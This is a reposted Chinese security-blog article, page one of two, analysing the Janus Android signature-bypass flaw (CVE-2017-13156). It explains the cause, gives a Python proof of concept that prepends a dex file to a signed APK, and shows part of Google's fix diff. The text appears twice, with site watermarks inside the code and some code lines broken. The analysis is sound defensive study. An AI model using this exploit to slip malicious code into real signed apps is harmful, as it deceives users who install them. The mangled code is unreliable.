欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Janus签名漏洞(CVE-2017-13156)原理与利用分析

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

前言:去年比较严重的洞,以比较浅显的方式学习记录一下,网上有很多其他深度分析文章,也可借鉴学习。
Janus签名漏洞可以让攻击者绕过安卓系统的signature scheme V1签名机制,进而直接对App进行篡改。而且由于安卓系统的其他安全机制也是建立在签名和校验基础之上,该漏洞相当于绕过了安卓系统的整个安全机制。
公告详情: https://source.android.com/security/bulletin/2017-12-01
影响: 利用该漏洞的攻击者可注入恶意代码直接修改app而不影响其原始签名,即修改后仍是官方签名
影响范围: Android 5.0-8.0且使用Signaturescheme V1签名的APK文件,不影响Signaturescheme V2
自测:
adb shell dumpsys package pkgName | grep apkSigningVersion
0×01 漏洞原理
Android在4.4引入ART虚拟机,相比较于Dalvik虚拟机仅能运行包装于apk中的dex文件,ART还允许直接运行优化后的dex文件。具体操作是通过读取文件头部的magic字段进行判断,区别执行apk或者dex。
ZIP文件的读取方式是读取文件末尾定位的central directory, 然后通过里面的索引定位到各个zip entry,每个entry解压之后都对应一个文件。ParseZipArchive()函数在进行以上处理时候并没有判断文件头部的magic字段是否为504B0304(即Zip).
因此根据以上两点,攻击者可以通过将恶意dex文件置于apk文件的头部(如上图所示),在系统安装apk文件时,系统安装器解压zip时并没有先判断apk文件的头部magic字段,直接默认是apk(zip)文件,从而直接从文件尾部进行读取解压,此时签名没有任何变化,因此可欺骗系统,从而进行安装。
攻击关键点是当用户点击运行apk时,系统ART虚拟机会去判断文件头部的magic字段,从而使用不同的策略执行文件,由于该apk文件头部被修改为恶意dex,因此art虚拟机直接执行恶意dex文件。
0×02 漏洞利用
漏洞利用PoC:
#!/usr/bin/python
import sys
import struct
import hashlib
from zlib import adler32
def update_checksum(data):
    '''
    生成sha1 hash
    "
    m = hashlib.sha1()
    m.update(data[32:])
    data[12:12+20] = m.digest()
    #计算Adler-32 checksum
    v = adler32(buffer(data[12:])) & 0xffffffff
    data[8:12] = struct.pack(", v)
def main():
    if len(sys.argv) != 4:
        print("usage: %s dex apk out_apk" % __file__)
        return
    _, dex, apk, out_apk = sys.argv
    #读取dex二进制数据
    with open(dex, 'rb') as f:
        dex_data = bytearray(f.read())
    dex_size = len(dex_data)
    #操作zip文件,可学习一下zip文件格式
    with open(apk, 'rb') as f:
        apk_data = bytearray(f.read())
    cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
    #central directory 起始地址
    cd_start_addr = struct.unpack(", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
    apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack(", cd_start_addr+dex_size)
    pos = cd_start_addr
    while (pos ", apk_data[pos+42:pos+46])[0]
        apk_data[pos+42:pos+46] = struct.pack(", offset+dex_size)
        pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
        if pos == -1:
            break
    #注入dex_data
    out_data = dex_data + apk_data
    out_data[32:36] = struct.pack(", len(out_data))
    update_checksum(out_data)
    with open(out_apk, "wb") as f:
        f.write(out_data)
    print ('%s generated' % out_apk)
if __name__ == '__main__':
    main()
0×03 漏洞防御
谷歌官方修复diff:
diff --git a/libziparchive/zip_archive.cc b/libziparchive/zip_archive.cc
index 78de40a..d0bbd72 100644
--- a/libziparchive/zip_archive.cc
+++ b/libziparchive/zip_archive.cc
@@ -441,6 +441,22 @@
       return -1;
     }
   }
+
+  uint32_t lfh_start_bytes;
+  //读取zip头部信息
+  if (!archive->mapped_zip.ReadAtOffset(reinterpret_castuint8_t*>(&lfh_start_bytes),
+                                        sizeof(uint32_t), 0)) {
+    ALOGW("Zip: Unable to read header for entry at offset == 0.");
+    return -1;
+  }
+
   //增加kSignature头部验证,不同时返回-1

[1] [2]  下一页

前言:去年比较严重的洞,以比较浅显的方式学习记录一下,网上有很多其他深度分析文章,也可借鉴学习。
Janus签名漏洞可以让攻击者绕过安卓系统的signature scheme V1签名机制,进而直接对App进行篡改。而且由于安卓系统的其他安全机制也是建立在签名和校验基础之上,该漏洞相当于绕过了安卓系统的整个安全机制。
公告详情: https://source.android.com/security/bulletin/2017-12-01
影响: 利用该漏洞的攻击者可注入恶意代码直接修改app而不影响其原始签名,即修改后仍是官方签名
影响范围: Android 5.0-8.0且使用Signaturescheme V1签名的APK文件,不影响Signaturescheme V2
自测:
adb shell dumpsys package pkgName | grep apkSigningVersion
0×01 漏洞原理
Android在4.4引入ART虚拟机,相比较于Dalvik虚拟机仅能运行包装于apk中的dex文件,ART还允许直接运行优化后的dex文件。具体操作是通过读取文件头部的magic字段进行判断,区别执行apk或者dex。
ZIP文件的读取方式是读取文件末尾定位的central directory, 然后通过里面的索引定位到各个zip entry,每个entry解压之后都对应一个文件。ParseZipArchive()函数在进行以上处理时候并没有判断文件头部的magic字段是否为504B0304(即Zip). 无奈人生安全网
因此根据以上两点,攻击者可以通过将恶意dex文件置于apk文件的头部(如上图所示),在系统安装apk文件时,系统安装器解压zip时并没有先判断apk文件的头部magic字段,直接默认是apk(zip)文件,从而直接从文件尾部进行读取解压,此时签名没有任何变化,因此可欺骗系统,从而进行安装。
攻击关键点是当用户点击运行apk时,系统ART虚拟机会去判断文件头部的magic字段,从而使用不同的策略执行文件,由于该apk文件头部被修改为恶意dex,因此art虚拟机直接执行恶意dex文件。
0×02 漏洞利用
漏洞利用PoC:
#!/usr/bin/python
import sys
import struct
import hashlib
from zlib import adler32
def update_checksum(data):
    '''
    生成sha1 hash
    "
    m = hashlib.sha1()
    m.update(data[32:])
    data[12:12+20] = m.digest()
    #计算Adler-32 checksum
    v = adler32(buffer(data[12:])) & 0xffffffff
    data[8:12] = struct.pack(", v) copyright 无奈人生
def main():
    if len(sys.argv) != 4:
        print("usage: %s dex apk out_apk" % __file__)
        return
    _, dex, apk, out_apk = sys.argv
    #读取dex二进制数据
    with open(dex, 'rb') as f:
        dex_data = bytearray(f.read())
    dex_size = len(dex_data)
    #操作zip文件,可学习一下zip文件格式
    with open(apk, 'rb') as f:
        apk_data = bytearray(f.read())
    cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
    #central directory 起始地址
    cd_start_addr = struct.unpack(", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
    apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack(", cd_start_addr+dex_size) copyright 无奈人生
    pos = cd_start_addr
    while (pos ", apk_data[pos+42:pos+46])[0]
        apk_data[pos+42:pos+46] = struct.pack(", offset+dex_size)
        pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
        if pos == -1:
            break
    #注入dex_data
    out_data = dex_data + apk_data
    out_data[32:36] = struct.pack(", len(out_data))
    update_checksum(out_data)
    with open(out_apk, "wb") as f:
        f.write(out_data)
    print ('%s generated' % out_apk)
if __name__ == '__main__':
    main()
0×03 漏洞防御
谷歌官方修复diff:
diff --git a/libziparchive/zip_archive.cc b/libziparchive/zip_archive.cc

本文来自无奈人生安全网

index 78de40a..d0bbd72 100644
--- a/libziparchive/zip_archive.cc
+++ b/libziparchive/zip_archive.cc
@@ -441,6 +441,22 @@
       return -1;
     }
   }
+
+  uint32_t lfh_start_bytes;
+  //读取zip头部信息
+  if (!archive->mapped_zip.ReadAtOffset(reinterpret_castuint8_t*>(&lfh_start_bytes),
+                                        sizeof(uint32_t), 0)) {
+    ALOGW("Zip: Unable to read header for entry at offset == 0.");
+    return -1;
+  }
+
   //增加kSignature头部验证,不同时返回-1
www.wnhack.com

[1] [2]  下一页 copyright 无奈人生

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。